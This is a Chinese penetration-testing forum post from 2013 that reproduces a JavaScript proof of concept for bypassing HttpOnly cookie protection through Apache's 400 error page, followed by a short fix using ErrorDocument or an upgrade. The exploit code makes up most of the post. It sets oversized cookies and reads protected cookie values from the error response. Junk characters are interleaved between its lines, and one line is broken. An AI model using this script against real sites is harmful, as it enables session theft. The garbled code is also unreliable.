中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
7 n$ |4 T) a1 R/ u2 L1 z
' E( W- Y+ E6 X* z
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
7 R8 i- p4 F3 p/ K; s" J1 T1 [
' R9 k" V1 l3 B! z
: ~# Z- ^2 p2 o9 ~, c% n
//
http://www.exploit-db.com/exploits/18442/
1 ~* {! B t. [/ d1 Z) X$ }
function setCookies (good) {
* l3 e7 K6 H. k+ @ B( b- E4 a, d
// Construct string for cookie value
) }% {# B' \6 P: c) l
var str = "";
% N7 B5 Q- R5 P7 x3 z3 g' \
for (var i=0; i< 819; i++) {
, h0 O. o2 e" i r
str += "x";
* M, K" h, {+ D' p! t
}
2 |1 T$ j1 C* x7 w* m
// Set cookies
% D9 F- O; e* ?: _8 H% c
for (i = 0; i < 10; i++) {
8 f1 F4 T0 @" K1 T$ v: @
// Expire evil cookie
! ~* i v2 L* g! o( o0 v+ d
if (good) {
* |( G9 @1 O$ a
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
" _0 P; W; @2 n6 ]& D* z8 f
}
- X1 e) U. c8 J( y( }# }9 v
// Set evil cookie
4 u5 F+ o9 O0 |
else {
' q1 J' e, A3 I" a5 g9 `
var cookie = "xss"+i+"="+str+";path=/";
M! h( g! m, k- v
}
! e5 V1 Q2 R$ L7 ~6 p" ]# C
document.cookie = cookie;
. N" w5 _) t7 U) r! [/ E
}
8 z2 t* }6 @% Q: {
}
6 [1 m }% {* [2 A# \
function makeRequest() {
" |& O2 _7 m* O+ }/ l
setCookies();
' @2 v" _- ?0 U6 I
function parseCookies () {
6 w) E; P& ]6 Q7 a9 e4 {/ t, _, i
var cookie_dict = {};
4 y, w5 h9 z# n# _6 Y
// Only react on 400 status
& d: [! k' e2 j- f5 j% _# t) ^
if (xhr.readyState === 4 && xhr.status === 400) {
, E! {- v9 n; I1 d
// Replace newlines and match <pre> content
- u, U, K$ K5 _1 j
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
: @+ f2 l6 r: M* X
if (content.length) {
. |) t$ l9 [; B# e7 f+ M; [7 Q
// Remove Cookie: prefix
5 w- S- \7 `+ g% L% Z5 F3 r1 ~' J2 Y
content = content[1].replace("Cookie: ", "");
6 D1 g% T- _0 u5 }- ^
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
1 H/ N" ^2 D& z- X; ?% i2 K
// Add cookies to object
3 Z* b$ B. M8 x1 {4 N
for (var i=0; i<cookies.length; i++) {
7 |; E0 Q2 F/ I! C" ?! i: N2 ^+ \
var s_c = cookies
.split('=',2);
2 A! x& j- J3 X4 O2 l, B
cookie_dict[s_c[0]] = s_c[1];
. H, X3 _: I! I) S, `3 i- T
}
) Z2 t |; f) M, l4 Q
}
; D$ C/ T( }3 ^! O1 y
// Unset malicious cookies
( u( k& B3 u* ^5 O' e
setCookies(true);
$ M5 R' d& w% k, v5 @5 [! N# I4 H
alert(JSON.stringify(cookie_dict));
2 a6 r- S, m) L4 b) p7 U+ R! f% G/ ~
}
0 G+ ]4 g4 F7 S" }% y' `
}
$ c- _! U! `6 H
// Make XHR request
2 M+ t" N+ p: `1 ~) @
var xhr = new XMLHttpRequest();
/ @8 } ]; O9 r6 V9 N5 N
xhr.onreadystatechange = parseCookies;
2 i: a* m1 i6 h" u) d
xhr.open("GET", "/", true);
" u3 T4 A; p) b
xhr.send(null);
/ j0 q* F2 H3 d, ~
}
6 C6 R0 M$ P2 b6 A
makeRequest();
* W" i- n" L) r1 q* o
6 s3 e0 ^/ d: {; t, i
你就能看见华丽丽的400错误包含着cookie信息。
" [; Q; [ u" @7 [5 i
: f9 A1 I. O8 S2 @$ p* n6 f
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
A5 y( U. z6 }3 G' X0 x
/ F$ w/ T' D0 h6 k4 s: d+ H" s- z
修复方案:
' }& R7 C3 b$ k* J) \' N/ j6 f* s
5 H& |) r% U: J1 R" O) H \* z
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
; m2 |. i5 f: P
( q6 R& \' h4 u9 p7 K0 S0 F* K
In the event of a problem or error, Apachecan be configured to do one of four things,
. \3 x4 {( ^; f% q# P# F! B5 g
9 a! K! j% _9 Q0 p6 L
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
8 ^- h, ~+ D' l4 O% B8 K
2. output acustomized message输出一段信息
. |% `" S- t# y; ^% F
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
* u6 i7 n+ B6 M
4. redirect to an external URL to handle theproblem/error转向一个外部URL
1 L5 T3 h) w: N- ?$ B: Q1 c1 q6 Z
* Q$ H m% A# g# \7 Z* H/ l4 ^
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
# `4 p+ U, P7 u7 m% g6 f
[& x2 C# f. A/ x
Apache配置:
, w/ R& l% B1 G/ n! v. Y$ n
/ b, w4 t4 b: y1 f/ V1 |9 H) H- o+ N
ErrorDocument400 " security test"
* @2 n( ?1 k& s, J; ]4 I
6 q8 r( W! _: s7 g! j: M. r
当然,升级apache到最新也可:)。
# ~3 _3 \- O ~3 t4 H9 _
1 u: N7 ~8 B6 U3 q
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
* D1 M7 ]! i* j' N+ `% o2 J; C/ v, L
$ ?' d. { P, c7 I+ ]. {- s4 ~
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2